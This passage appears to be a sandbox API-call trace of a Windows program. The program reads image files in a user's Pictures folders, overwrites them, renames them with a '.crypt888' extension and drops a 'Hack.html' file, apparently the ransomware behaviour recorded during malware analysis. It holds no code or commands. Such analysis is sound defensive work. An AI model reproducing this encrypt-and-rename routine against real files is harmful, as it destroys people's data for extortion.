FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.817] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.818] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.818] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.818] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.818] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.819] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.819] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.819] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0083.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png", lpFilePart=0x0) returned 0x4a [0083.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\cxhjuip_ramda.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.820] GetFileType (hFile=0x174) returned 0x1 [0083.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.820] GetFileType (hFile=0x174) returned 0x1 [0083.820] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xb4e0 [0083.820] ReadFile (in: hFile=0x174, lpBuffer=0x2797560, nNumberOfBytesToRead=0xb4e0, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2797560*, lpNumberOfBytesRead=0x39ed24*=0xb4e0, lpOverlapped=0x0) returned 1 [0083.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png", lpFilePart=0x0) returned 0x4a [0083.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\cxhjuip_ramda.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.945] GetFileType (hFile=0x174) returned 0x1 [0083.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.945] GetFileType (hFile=0x174) returned 0x1 [0083.945] WriteFile (in: hFile=0x174, lpBuffer=0x2806208*, nNumberOfBytesToWrite=0xb4f0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2806208*, lpNumberOfBytesWritten=0x39ed14*=0xb4f0, lpOverlapped=0x0) returned 1 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png", lpFilePart=0x0) returned 0x4a [0083.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png.crypt888", lpFilePart=0x0) returned 0x53 [0083.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\cxhjuip_ramda.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7dd140, ftCreationTime.dwHighDateTime=0x1d462e2, ftLastAccessTime.dwLowDateTime=0xa81524a0, ftLastAccessTime.dwHighDateTime=0x1d45dc7, ftLastWriteTime.dwLowDateTime=0xc33cb1a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb4f0)) returned 1 [0083.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.948] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\cxhjuip_ramda.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\CXhjUiP_raMDa.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\cxhjuip_ramda.png.crypt888")) returned 1 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png", lpFilePart=0x0) returned 0x45 [0083.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\koax5vym.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.949] GetFileType (hFile=0x174) returned 0x1 [0083.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.949] GetFileType (hFile=0x174) returned 0x1 [0083.949] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x6e77 [0083.949] ReadFile (in: hFile=0x174, lpBuffer=0x2811b8c, nNumberOfBytesToRead=0x6e77, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2811b8c*, lpNumberOfBytesRead=0x39ed24*=0x6e77, lpOverlapped=0x0) returned 1 [0083.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png", lpFilePart=0x0) returned 0x45 [0083.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\koax5vym.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.972] GetFileType (hFile=0x174) returned 0x1 [0083.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.972] GetFileType (hFile=0x174) returned 0x1 [0083.972] WriteFile (in: hFile=0x174, lpBuffer=0x28811d4*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x28811d4*, lpNumberOfBytesWritten=0x39ed14*=0x6e80, lpOverlapped=0x0) returned 1 [0083.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png", lpFilePart=0x0) returned 0x45 [0083.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png.crypt888", lpFilePart=0x0) returned 0x4e [0083.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\koax5vym.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac439ef0, ftCreationTime.dwHighDateTime=0x1d4572b, ftLastAccessTime.dwLowDateTime=0x778c1c0, ftLastAccessTime.dwHighDateTime=0x1d459c9, ftLastWriteTime.dwLowDateTime=0xc3417460, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6e80)) returned 1 [0083.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.974] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\koax5vym.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\koax5VYm.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\koax5vym.png.crypt888")) returned 1 [0083.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png", lpFilePart=0x0) returned 0x4e [0083.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\ovxzhwykkp7hwqykn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.975] GetFileType (hFile=0x174) returned 0x1 [0083.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.976] GetFileType (hFile=0x174) returned 0x1 [0083.976] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x7495 [0083.976] ReadFile (in: hFile=0x174, lpBuffer=0x28884c4, nNumberOfBytesToRead=0x7495, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28884c4*, lpNumberOfBytesRead=0x39ed24*=0x7495, lpOverlapped=0x0) returned 1 [0084.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png", lpFilePart=0x0) returned 0x4e [0084.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\ovxzhwykkp7hwqykn.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.027] GetFileType (hFile=0x174) returned 0x1 [0084.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.027] GetFileType (hFile=0x174) returned 0x1 [0084.027] WriteFile (in: hFile=0x174, lpBuffer=0x26fa198*, nNumberOfBytesToWrite=0x74a0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x26fa198*, lpNumberOfBytesWritten=0x39ed14*=0x74a0, lpOverlapped=0x0) returned 1 [0084.028] CloseHandle (hObject=0x174) returned 1 [0084.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png", lpFilePart=0x0) returned 0x4e [0084.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png.crypt888", lpFilePart=0x0) returned 0x57 [0084.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.031] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\ovxzhwykkp7hwqykn.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543722c0, ftCreationTime.dwHighDateTime=0x1d461c8, ftLastAccessTime.dwLowDateTime=0xf8b039e0, ftLastAccessTime.dwHighDateTime=0x1d45e8f, ftLastWriteTime.dwLowDateTime=0xc3489880, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x74a0)) returned 1 [0084.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.031] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\ovxzhwykkp7hwqykn.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\OvxZhwYkkP7hWqYKn.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\ovxzhwykkp7hwqykn.png.crypt888")) returned 1 [0084.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg", lpFilePart=0x0) returned 0x44 [0084.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\w71v6ty.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.033] GetFileType (hFile=0x174) returned 0x1 [0084.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.033] GetFileType (hFile=0x174) returned 0x1 [0084.033] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x132f0 [0084.033] ReadFile (in: hFile=0x174, lpBuffer=0x2701b08, nNumberOfBytesToRead=0x132f0, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2701b08*, lpNumberOfBytesRead=0x39ed24*=0x132f0, lpOverlapped=0x0) returned 1 [0084.034] CloseHandle (hObject=0x174) returned 1 [0084.095] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg", lpFilePart=0x0) returned 0x44 [0084.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\w71v6ty.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.097] GetFileType (hFile=0x174) returned 0x1 [0084.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.097] GetFileType (hFile=0x174) returned 0x1 [0084.097] WriteFile (in: hFile=0x174, lpBuffer=0x278833c*, nNumberOfBytesToWrite=0x13300, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x278833c*, lpNumberOfBytesWritten=0x39ed14*=0x13300, lpOverlapped=0x0) returned 1 [0084.103] CloseHandle (hObject=0x174) returned 1 [0084.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg", lpFilePart=0x0) returned 0x44 [0084.145] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg.crypt888", lpFilePart=0x0) returned 0x4d [0084.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.145] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\w71v6ty.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bbf7f60, ftCreationTime.dwHighDateTime=0x1d46307, ftLastAccessTime.dwLowDateTime=0xdc1094d0, ftLastAccessTime.dwHighDateTime=0x1d45910, ftLastWriteTime.dwLowDateTime=0xc3594220, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x13300)) returned 1 [0084.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.145] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\w71v6ty.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\w71V6tY.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\w71v6ty.jpg.crypt888")) returned 1 [0084.146] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\Hack.html", lpFilePart=0x0) returned 0x42 [0084.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0084.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dyugjplubwd1sufk-\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.146] GetFileType (hFile=0x174) returned 0x1 [0084.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0084.147] GetFileType (hFile=0x174) returned 0x1 [0084.147] WriteFile (in: hFile=0x174, lpBuffer=0x279d14c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x279d14c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0084.148] CloseHandle (hObject=0x174) returned 1 [0084.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.148] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD", lpFilePart=0x0) returned 0x30 [0084.148] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\", lpFilePart=0x0) returned 0x31 [0084.148] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a668 [0084.149] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.149] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.149] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.149] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.150] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.150] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0084.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD", lpFilePart=0x0) returned 0x30 [0084.150] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\", lpFilePart=0x0) returned 0x31 [0084.150] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a668 [0084.151] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.151] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.151] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.151] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.151] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.152] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0084.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io3A87_QD\\M-_9CA5D_UWM9qFIzIs.jpg", nBufferLength=0x105, 